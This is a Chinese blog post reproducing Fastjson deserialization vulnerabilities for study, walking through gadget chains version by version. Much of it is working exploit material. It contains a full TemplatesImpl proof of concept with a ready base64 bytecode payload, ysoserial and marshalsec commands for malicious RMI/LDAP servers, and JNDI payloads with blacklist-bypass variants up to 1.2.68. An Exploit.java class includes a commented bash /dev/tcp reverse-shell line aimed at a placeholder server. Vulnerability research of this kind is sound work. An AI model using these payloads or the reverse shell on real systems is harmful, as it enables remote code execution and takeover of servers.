【漏洞复现】Fastjson反序列化_fastjson反序列化漏洞复现-程序员宅基地

技术标签: java  web安全  安全  漏洞分析  信息安全  


欢迎大家关注我的公众号“嘀嗒安全”
在这里插入图片描述

最近log4j的漏洞很火,他的复现步骤和fastjson相似 所以来复现学习一些,希望对大家有一点帮助

一、简介

Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r9qJeV4o-1640942062035)(fastjson.assets/111.png)]

二、序列化与反序列化

序列化是指将对象按照一定格式转化为字节流或字符串

反序列化是序列化的逆过程,将具有一定格式的字节流或字符串还原成对象。

​ Fastjson可以将对象转换成Json字符串,XMLDecoder 可以将XML字符串还原成字符串,所以也是序列化和反序列化。

​ 序列化可以将对象转换成字节流后保存、传输。反序列化则可以将字节流转换成对象,注入进程序之中,也就是说,不加以控制的反序列化,可以在程序中注入任意一个对象。

三、Fastjson漏洞介绍

​ 与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,在反序列化的过程中,调用getter和setter方法将JSON字符串还原成对象。

1.2.24版本发布了反序列化漏洞,1.2.25关闭了默认开启的AutoType并加入黑名单

1.2.41和1.2.42 对类名处理不当,造成黑名单绕过

1.2.45中发现了不在黑名单中的利用类

1.2.47中发现了缓存机制可以绕过AutoType

1.2.68又通过缓存绕过了AutoType

从上述Fastjson反序列化漏洞的演化历程可以看出,针对Fastjson的漏洞挖掘主要在于以下两个方面。

· 寻找新的利用链,绕过黑名单。

· 寻找绕过AutoType的方式。

1、漏洞原理

FastJson将JSON还原成对象的方法有三种

  • parse(String text)
  • parseObject(String text)
  • parseObject(String text,Class\clazz)

当通过这3种方法将JSON还原成对象时,FastJson自动调用类中的setter方法和无参构造函数,以及满足条件的getter方法:

  • 只存在getter方法,无setter方法
  • 方法名称长度大于等于4
  • 非静态方法
  • 方法名以get开头,且第四个字符为大写字母如getAge
  • 方法无需传参
  • 方法返回值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一种

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FDYMr8Kz-1640942062035)(fastjson.assets/image-20211218222548299.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Lt29PzNh-1640942062036)(fastjson.assets/image-20211218222626214.png)]

parseObject(String text)方法将JSON串还原成对象后,会再调用一个xxx方法,所以类中搜易getter方法都会被执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FLSyF5fP-1640942062036)(fastjson.assets/image-20211218222752665.png)]

2、RMI

Java远程方法调用,即Java RMI (Java Remote Method Invocation),即允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机上的不同进程中,也可以运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收到经过序列化编码的对象后会进行反序列化

ps:实验要修改\jdk1.8.0_191\jre\lib\security\java.security文件

#sun.rmi.registry.registryFilter=\
sun.rmi.registry.registryFilter=*
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections5 "calc"

利用ysoserial攻击目标RMI开启的1088端口,RMI自动反序列化目标传过来的字节流,攻击要求,已知目标端口,已知所用的组件

3、JNDI

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,目的是方便查找远程或是本地对象。典型的应用场景是配置数据源,除此之外,JNDI还可以访问现有的目录和服务,例如:LDAP、RMI、CORBA、DNS、NDS、NIS。

当程序通过JNDI获取外部远程对象过程中,程序被控制访问恶意的服务地址(例如:指向恶意的RMI服务地址),并加载和实例化恶意对象时,将会造成JNDI注入。JNDI注入利用过程如下。

  1. 当客户端程序中调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址。
  2. 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类。
  3. 当客户端执行lookup()时,会对恶意的Factory类进行加载并实例化,通过factory.getObjectInstance()获取外部远程对象实例。
  4. 攻击者在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果。

编译生成.class文件

在文件目录下开启http服务

python -m http.server

使用marshalsec工具,开启监听本地的1099端口

java -cp marshalsec.jar marshalsec.jnid.RMIRefServer http://127.0.0.1:8000/#eval.class 1099

在程序中构造恶意代码

被攻击的程序会先连接到工具启动的RMI服务
会去http服务上获取恶意的类
恶意的类因为写在了静态代码块中,加载时就会自动调用 

4、JEP290

JEP290是官方发布的用于缓解反序列化漏洞的措施,从8u121,7u13,6u141版本开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。

四、编写的简单测试的环境

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class FastJsonDemo {
    public static void main(String[] args){
        String str = command;
        JSON.parse(str, Feature.SupportNonPublicField);
        /*
        还可以是JNDI的方式
         {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "rmi://127.0.0.1:1999/Exploit",
            "autoCommit": true
        }
         */
    }
}

五、漏洞版本

1、fastjson<=1.2.24

1.1、TemplatesImpl 利用链分析

首先使用parseObject对payload进行反序列化。parseObject会调用payload中存储的@type信息,即Templateslmpl的getter,setter,和构造方法。

在TypeUtil.class中下断点,此处加载Templateslmpl类。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gprwQKbO-1640942062038)(fastjson.assets/image-20211219030349660.png)]

这里调用了getter方法,getOutputProperties
在这里插入图片描述

调用newTransformer方法
在这里插入图片描述

调用getTransletInstance方法
在这里插入图片描述

这里会调用defineTransletClasses,通过传入的_bytecodes生成 _class

此处可以看到成功传入类名,调用newInstance实例化为tranlet对象

此处调用恶意构造方法

完整的利用链
在这里插入图片描述

编译EvilObject.java成EvilObject.class
Alt text
先看poc,其中NASTY_CLASS为TemplatesImpl类,evilCode是EvilObject.class base64编码:

final String evilClassPath = "E:\\Struts2-Vulenv-master\\PoCs-fastjson1241\\src\\main\\java\\org\\lain\\poc\\TemplatesImpl\\EvilObject.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";
 String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_transletIndex\":0,\"_auxClasses\":{},\"_outputProperties\":{ }";

下面看下Poc是怎么构造的,当使用fastjson解析json时,会自动调用其属性的get方法。
TypeUtils.clss return loadClass处下断点,会加载TemplatesImpl类
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m6XT8tHt-1640942062038)(fastjson.assets/image-20211220005616881.png)]

继续调试,这里调用了getOutputProperties方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q4Rd2oOp-1640942062039)(fastjson.assets/image-20211222002933521.png)]

调用new TransformerImpl方法,这时_OutputProperties已经赋值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lGKIYUY6-1640942062039)(fastjson.assets/image-20211222003050329.png)]

调用newTransformer方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K1IcEtTl-1640942062040)(fastjson.assets/image-20211220010955555.png)]

调用getTransletInstance方法,并对我们传入的_name进行判断,这里就是为什么_name字段需要进行赋值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TpV1FpyI-1640942062041)(fastjson.assets/image-20211220011033841.png)]

又判断_class,这里会调用defineTransletClasses,

这里就用到了_tfactory,这里也是他必须为{}(这里就是将它赋值为了一个对象),这段代买主要就是获得了一个类加载器,_tfactory设置为对象后,这里的代码就不会报错了,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7GNyjFWu-1640942062041)(fastjson.assets/image-20211222005140296.png)]

继续执行,程序就会通过传入的_bytecodes生成 _class

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ecF2r0mL-1640942062042)(fastjson.assets/image-20211222003734154.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FB3chsD2-1640942062042)(fastjson.assets/image-20211222003827512.png)]

此处可以看到成功传入了我们定义的恶意类的类名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-scx6Djrw-1640942062043)(fastjson.assets/image-20211222004045820.png)]

然后就会在这里调用了恶意代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oog3IhDz-1640942062043)(fastjson.assets/image-20211222004237116.png)]

总的来说,首先_bytecodes会传入 getTransletInstance方法中的defineTransletClasses方法,defineTransletClasses方法会根据_bytecodes字节数组new一个_class,_bytecodes加载到_class中,最后根据_class,用newInstance生成一个java实例

利用链大致就是这个(大佬的图)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TNR5oFRU-1640942062043)(fastjson.assets/image-20211222004433030.png)]

将包含恶意代码的java文件使用javac生成.class文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilObject /*extends AbstractTranslet */{

    public EvilObject() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }

    public static void main(String[] args) throws Exception {
        //test
        EvilObject evilObject = new EvilObject();
    }
}

将文件中的内容进行base64编码,然后放入payload中

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["恶意代码"],'_name':'xx','_tfactory':{ },"_outputProperties":{ }}

这里附一个恶意代码和poc一起生成的文件

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class TemplatesImplPoc2 {
    public static class test{
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "nice0e3"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        // 将生成的class文件保存当当前项目目录下
        cc.writeFile("./");
        try {
            byte[] evilCode = cc.toBytecode();
            String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'a.b',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
            // 输出构造好的POC
            System.out.println(text1);
            ParserConfig config = new ParserConfig();
            // fastjson解析POC
            // Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

大概流程是先创建一个TemplatesImpl对象,再使用Javassist动态编程创建一个恶意类,由于这个恶意类是自定义的,因此可以通过该类执行任何想要执行的代码,比如Runtime.getRuntime().exec(“calc.exe”)。一个类在初始化时会自动执行静态代码块里的代码,因此可以将Runtime.getRuntime().exec(“calc.exe”)写在恶意类的静态代码块中,在初始化的过程中自动执行。恶意类会被转化成一个byte数组,并传递给TemplatesImpl的_ bytecodes属性。

主要注意的点

  • 恶意代码在_bytecodes中,生成的恶意代码必须进行base64解码

  • TemplatesImpl链中必须得继承父类

  • _tfactory是一个对象

  • _name不能为空

  • _outputProperties 是properties类型,他的get和set方法都会被执行加粗样式

生成的poc

{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'xx','_tfactory':{ },\"_outputProperties\":{ }}

将poc当成恶意代码传入目标中执行后就会弹出一个计算器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mZjMhBki-1640942062044)(fastjson.assets/image-20211219020807714.png)]

1.2、JNDI利用链分析
Gadget com.sun.rowset.JdbcRowSetImpl

 setAutoCommit() -> connect() -> InitialContext.lookup()

poc如下,dataSourceName 为rmi://localhost:1090/evil:

        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
                + "\"dataSourceName\":\"" + dataSourceName + "\","
                + "\"autoCommit\":\"true\"}";

RMIServer代码如下:

package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author: lanqihe
 * @Date: 下午8:01 2017/12/11
 * @Modified By:
 * @Description: 本地注册一个register,并将恶意的类绑定
 */
public class RMIServer {


    public static void main(String argv[]) {

        try {
            Registry  registry =  LocateRegistry.createRegistry(1090);

            //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
            //因此,本地测试的话,如果factory正确,factoryLocation随便填写
            Reference reference = new Reference("EvilObject",
                    "org.lain.poc.jndi.EvilObjectFactory",
                    "http://localhost:9999/" );


            //客户端通过evil查找,获取到EvilObject
            registry.bind("evil", new ReferenceWrapper(reference));

            System.out.println("Ready!");
            System.out.println("Waiting for connection......");

        } catch (Exception e) {
            System.out.println("RMIServer: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

调试过程如下:
首先会加载com.sun.rowset.JdbcRowSetImpl类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RZhjqQ56-1640942062044)(fastjson.assets/image-20211222021304588.png)]

这里获得了我们传入参数中@type的值,这个就是要要加载的类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d5Z23eWW-1640942062044)(fastjson.assets/image-20211222212423544.png)]

因为poc中的autoCommit设置为true.会调用setAutoCommit方法
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mROQH6vl-1640942062044)(fastjson.assets/image-20211222030331334.png)]

继续调试,就会进入connect()方法中,调用lookup方法
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9XFEp4T0-1640942062044)(fastjson.assets/image-20211222030405126.png)]

因为初始化的时候getDataSourceName为空,进入else,下断点得到 RMI 的 url 为rmi://127.0.0.1:1099/badClassName,并传入setDataSourceNmame()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-juDDbZIz-1640942062045)(fastjson.assets/image-20211222215149474.png)]

通过lookup方法就实例化了恶意类,从而导致构造方法的恶意代码触发。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ChFGVMED-1640942062045)(fastjson.assets/image-20211222030438501.png)]

总结:fastjson @type的值传入类,在解析json时,就会调用传入属性的getter,setter方法。如果找到一个类getter,setter能够传入可控的恶意class字节码或者是jdni服务,就能导致rce.

@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl

dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数

autoCommit :调⽤ setAutoCommit 函数。

1.3、JNDI利用

​ 首先将以下代码保存为Exploit.java(可以根据操作系统类型更改自己想要执行的命令)

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    
    public Exploit() throws Exception {
    
        Process p = Runtime.getRuntime().exec(new String[]{
    "cmd","/c","calc.exe"});
      //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
    
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    
    }
}

使用javac命令编译Exploit.java文件,生成一个Exploit.class文件

javac Exploit.java
使用python开启一个http服务并把生成的Exploit.class文件,放到vps的web目录下
python3 -m http.server

使用marshalsec启动一个RMI服务器,或者ladp服务器。
下载地址:https://github.com/mbechler/marshalsec
下载后切换到marshalsec目录下使用maven进行打包。

mvn clean package -DskipTests

​ 把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。
可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 9999

发送payload

{
    "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Exploit", "autoCommit":true}


{
    "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

成功执行了系统命令

1.4、官方进行的修复

astjson 1.2.25版本中引入了checkAutotype,其中增加了黑白名单的校验,用于缓解反序列化漏洞的产生,并且将内置的黑白名单进行加密,增加了绕过黑白名单的研究成本。

通常,以下几种类型的类可以通过校验。

· 缓存 mapping 中的类。

· 白名单中的类。

· 开启 autotype的类。

· 指定的期望类(expectClass)。

· 使用JSONType 注解的类。

Fastjson优先从mapping中获取类,当成功获取时,其不会进行黑白名单的安全检测,因此可以通过寻找将类加入缓存的方法,达到从逻辑层面上绕过checkAutoType检测的目的,所以绕过checkAutoType安全机制是一种逻辑漏洞。

2、fastjson<=1.2.41

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
exp:

{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

3、fastjson<=1.2.42

fastjson在1.2.42版本新增了校验机制。

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
    
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
绕过方法,在类名外部嵌套2层L;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
exp:

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

4、fastjson<=1.2.45

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高,所以影响范围较大。

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{
    "data_source":"ldap://localhost:1389/Exploit"}}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

5、fastjson<=1.2.47

这个版本发生了不开启autotype情况下能利用成功的绕过,对版本小于1.2.48的版本通杀。

这次的绕过:

利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以绕过,

然后就和之前流程一样调用 deserializer.deserialze 来处理我们传入的clazz,也就是java.lang.class

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mNBKCFBw-1640942062047)(fastjson.assets/image-20211222233454428.png)]

这个java.lang.class类对应的deserializer为MiscCodec

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RD7pRyBe-1640942062047)(fastjson.assets/image-20211222233721515.png)]

deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中
如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
exp:

{
    
    "a": {
    
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
    
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
        "autoCommit": true
    }
}

6、1.2.48<=fastjson<1.2.68

这个几个版本中都是对黑名单的绕过

{
    "@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}

{
    "@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{
    "@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{
    "@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{
    "@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {
    "@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

7、fastjson<=1.2.68

本次是java.lang.AutoCloseable导致的exceptClass为非NULL

poc

{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"command\":\"111\"}"
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_46363249/article/details/122260021

智能推荐

攻防世界_难度8_happy_puzzle_攻防世界困难模式攻略图文-程序员宅基地

文章浏览阅读645次。这个肯定是末尾的IDAT了,因为IDAT必须要满了才会开始一下个IDAT,这个明显就是末尾的IDAT了。,对应下面的create_head()代码。,对应下面的create_tail()代码。不要考虑爆破,我已经试了一下,太多情况了。题目来源:UNCTF。_攻防世界困难模式攻略图文

达梦数据库的导出(备份)、导入_达梦数据库导入导出-程序员宅基地

文章浏览阅读2.9k次,点赞3次,收藏10次。偶尔会用到,记录、分享。1. 数据库导出1.1 切换到dmdba用户su - dmdba1.2 进入达梦数据库安装路径的bin目录,执行导库操作  导出语句:./dexp cwy_init/[email protected]:5236 file=cwy_init.dmp log=cwy_init_exp.log 注释:   cwy_init/init_123..._达梦数据库导入导出

js引入kindeditor富文本编辑器的使用_kindeditor.js-程序员宅基地

文章浏览阅读1.9k次。1. 在官网上下载KindEditor文件,可以删掉不需要要到的jsp,asp,asp.net和php文件夹。接着把文件夹放到项目文件目录下。2. 修改html文件,在页面引入js文件:<script type="text/javascript" src="./kindeditor/kindeditor-all.js"></script><script type="text/javascript" src="./kindeditor/lang/zh-CN.js"_kindeditor.js

STM32学习过程记录11——基于STM32G431CBU6硬件SPI+DMA的高效WS2812B控制方法-程序员宅基地

文章浏览阅读2.3k次,点赞6次,收藏14次。SPI的详情简介不必赘述。假设我们通过SPI发送0xAA,我们的数据线就会变为10101010,通过修改不同的内容,即可修改SPI中0和1的持续时间。比如0xF0即为前半周期为高电平,后半周期为低电平的状态。在SPI的通信模式中,CPHA配置会影响该实验,下图展示了不同采样位置的SPI时序图[1]。CPOL = 0,CPHA = 1:CLK空闲状态 = 低电平,数据在下降沿采样,并在上升沿移出CPOL = 0,CPHA = 0:CLK空闲状态 = 低电平,数据在上升沿采样,并在下降沿移出。_stm32g431cbu6

计算机网络-数据链路层_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输-程序员宅基地

文章浏览阅读1.2k次,点赞2次,收藏8次。数据链路层习题自测问题1.数据链路(即逻辑链路)与链路(即物理链路)有何区别?“电路接通了”与”数据链路接通了”的区别何在?2.数据链路层中的链路控制包括哪些功能?试讨论数据链路层做成可靠的链路层有哪些优点和缺点。3.网络适配器的作用是什么?网络适配器工作在哪一层?4.数据链路层的三个基本问题(帧定界、透明传输和差错检测)为什么都必须加以解决?5.如果在数据链路层不进行帧定界,会发生什么问题?6.PPP协议的主要特点是什么?为什么PPP不使用帧的编号?PPP适用于什么情况?为什么PPP协议不_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输

软件测试工程师移民加拿大_无证移民,未受过软件工程师的教育(第1部分)-程序员宅基地

